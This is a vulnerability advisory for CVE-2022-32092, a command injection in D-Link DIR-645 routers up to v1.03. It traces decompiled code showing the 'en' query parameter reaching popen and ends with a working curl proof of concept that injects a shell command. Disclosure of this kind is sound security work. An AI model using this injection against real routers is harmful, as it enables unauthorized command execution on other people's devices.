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Vendor of the products:D-Link

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FeiXincheng([FXC030618@outlook.com](mailto:FXC030618@outlook.com)) && ShaLetian([ltsha@njupt.edu.cn](mailto:ltsha@njupt.edu.cn)) from X1cT34m

Affected products:D-Link DIR-645 <= v1.03

Vendor Homepage: <https://www.dlink.com/en/consumer>

Vendor Advisory: <https://tsd.dlink.com.tw/ddgo>

CVE\_ID:[CVE-2022-32092](#)

## summarize

D-Link DIR-645 was discovered to contain a command injection vulnerability when operate the file `__ajax_explorer.sgi`. This vulnerability allows attackers to execute arbitrary commands via the `QUERY_STRING` parameter.

## Vulnerability description

We can see that the os will get `QUERY_STRING` in `scandir_main`, and pass it to `sub_410AD4`

```

v8 = getenv("QUERY_STRING");
if ( v8 )
{
    v9 = (_DWORD *)sub_40FFDC(v8);
    v10 = 0;
    v11 = 0;
    v12 = 0;
    v13 = 0;
    v14 = 0;
    while ( 1 )
    {
        v15 = (const char *)v9[v10];
        if ( !v15 )
            break;
        ++v10;
        if ( !strcmp(v15, "action") )
        {
            v11 = v9[v10++];
        }
        else if ( !strcmp(v15, "path") )
        {
            v12 = v9[v10++];
        }
        else if ( !strcmp(v15, "where") )
        {
            v13 = v9[v10++];
        }
        else if ( !strcmp(v15, "en") )
        {
            v14 = v9[v10++];
        }
    }
    printHeader(200, "action");
    fflush(stdout);
    if ( !sub_410AD4(v11, v12, v13, v14) )
    ,

```

In sub\_410AD4 , it calls sub\_410434

```

{
    for ( i = strtok(a4, "-"); i; i = strtok(0, "-") )
    {
        if ( sub_410434((int)i, (int)v29, (int)v30, (int)v31, s) )
            return -1;
        mount(v29, v30, v31, s);
    }
}

```

In sub\_410434 , it contains a command injection.

```

sprintf(v30, "xmldb -g /portal/entry:%s/name", a1);
v13 = popen(v30, "r");
v14 = v13;
if ( !v13 )

```

before the attack

```

# ls
style.css      images        comm
portal.css     explorer.php  __ajax_explorer.sgi

```

after the attack

```
# ls
FXC                images             __ajax_explorer.sgi
style.css          explorer.php
portal.css         comm
# cat FXC
X1cT34mpwner
#
```

## poc

---

```
curl "http://192.168.0.1/portal/__ajax_explorer.sgi?
action=umnt&path=path&where=here&en=;echo%20X1cT34mpwner%20>FXC;"
```